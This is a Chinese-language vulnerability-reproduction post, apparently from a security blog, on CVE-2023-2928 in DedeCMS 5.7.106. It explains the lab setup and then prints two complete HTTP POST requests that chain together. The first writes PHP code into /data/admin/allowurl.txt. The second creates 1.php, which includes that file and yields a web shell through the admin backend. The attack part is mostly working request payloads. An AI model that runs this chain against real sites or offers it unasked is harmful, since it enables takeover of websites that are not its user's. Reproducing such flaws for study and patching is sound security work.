CVE-2023-2928-DedeCMS存在文件包含漏洞导致后台getshell【漏洞复现】
2023-5-29 09:27:14 Author: 阿乐你好(查看原文) 阅读量:68 收藏

声明:该公众号分享的安全工具、漏洞复现和项目均来源于网络,仅供安全研究与学习之用,

如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

CVE-2023-2928-DedeCMS存在文件包含漏洞

版本:5.7.106

CNVD编号:CNVD-2023-40504

漏洞文件:uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一,在 5.7.106 之前的 DedeCMS 中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件 uploads/dede/article_allowurl_edit.php 的未知功能。操纵参数 allurls 会导致代码注入。可以远程发起攻击获得网站控制权限。

环境搭建,首先下载phpstudy并创建网站,

下载dedecms5.7.106版本,下载地址如下:

https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.106-UTF8.zip

把下载好的文件解压到刚刚网站创建的目录,访问创建的网站进行安装

填写完配置信息点击继续

安装完成之后我们先分析一下代码,通过分析文件/dede/article_allowurl_edit.php发现未对文件内容做任何过滤,会把内容写入到:

/data/admin/allowurl.txt文件

先登录网站后台访问此文件如图:

添加如下内容,在这里,dedecms 安全过滤器通过文件创建被绕过,事实上,文件包含函数没有被过滤,因此它可以用于任意文件包含:

点击确定获得如下数据包:

  • POST /dede/article_allowurl_edit.php HTTP/1.1

  • Host: test.dedecms.com

  • Content-Length: 147

  • Cache-Control: max-age=0

  • Upgrade-Insecure-Requests: 1

  • Origin: http://test.dedecms.com

  • Content-Type: application/x-www-form-urlencoded

  • User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

  • Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

  • Referer: http://test.dedecms.com/dede/article_allowurl_edit.php

  • Accept-Encoding: gzip, deflate

  • Accept-Language: zh-CN,zh;q=0.9

  • Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=qi599qe097mcu4clue4g21cuur; _csrf_name_55fd8b84=350735ebb3676b552853e1e977763390; _csrf_name_55fd8b841BH21ANI1AGD297L1FF21LN02BGE1DNG=4def341c9a4a6d06; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=14bb82ac5695a862; DedeLoginTime=1685262355; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=377beff5871855be; ENV_GOBACK_URL=%2Fdede%2Fcontent_s_list.php

  • Connection: close

  • dopost=save&allurls=www.dedecms.com%0D%0Awww.desdev.cn%0D%0Abbs.dedecms.com%0D%0A%3C%3Fphp+phpinfo%28%29%3B%3F%3E&imageField1.x=23&imageField1.y=11

通过/dede/file_manage_control.php文件构造文件包含代码如下:

  • POST /dede/file_manage_control.php HTTP/1.1

  • Host: test.dedecms.com

  • Content-Length: 135

  • Cache-Control: max-age=0

  • Upgrade-Insecure-Requests: 1

  • Origin: http://test.dedecms.com

  • Content-Type: application/x-www-form-urlencoded

  • User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

  • Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

  • Referer: http://test.dedecms.com/dede/file_manage_view.php?fmdo=edit&filename=robots.txt&activepath=

  • Accept-Encoding: gzip, deflate

  • Accept-Language: zh-CN,zh;q=0.9

  • Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=qi599qe097mcu4clue4g21cuur; _csrf_name_55fd8b84=350735ebb3676b552853e1e977763390; _csrf_name_55fd8b841BH21ANI1AGD297L1FF21LN02BGE1DNG=4def341c9a4a6d06; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=14bb82ac5695a862; DedeLoginTime=1685262355; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=377beff5871855be; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager

  • Connection: close

  • fmdo=edit&backurl=&token=&activepath=&filename=1.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++

访问根目录下1.php获得shell

扫描添加作者为好友(sqlxss)


文章来源: http://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247489376&idx=1&sn=465a64ead8b67abeec3f538f40c973a5&chksm=979a3828a0edb13e1a6beb6ee9e88ec87c780a6f8a51a853d7e5f58a26e61fdb7f1fd64bc4d8#rd
如有侵权请联系:admin#unsafe.sh